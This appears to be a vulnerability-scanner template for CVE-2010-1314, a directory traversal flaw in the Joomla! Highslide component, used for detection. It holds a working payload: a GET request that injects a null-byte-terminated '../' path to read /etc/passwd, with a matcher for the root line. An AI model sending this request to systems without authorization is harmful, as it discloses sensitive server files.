id: CVE-2010-1314

info:
  name: Joomla! Component Highslide 1.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12086
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1314
    - http://packetstormsecurity.org/1004-exploits/joomlahsconfig-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1314
    cwe-id: CWE-22
    epss-score: 0.00477
    epss-percentile: 0.75244
    cpe: cpe:2.3:a:joomlanook:com_hsconfig:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlanook
    product: com_hsconfig
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,joomlanook

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009af853087a4818f3b40be3d023435dd789ec1badcb73949d41adfdfb8ffbe233022100d3bf069aa45a4e07a8ab6390cdc65d98ef6675f01ea2c12cba76b36042b91fc5:922c64590222798bb761d5b6d8e72950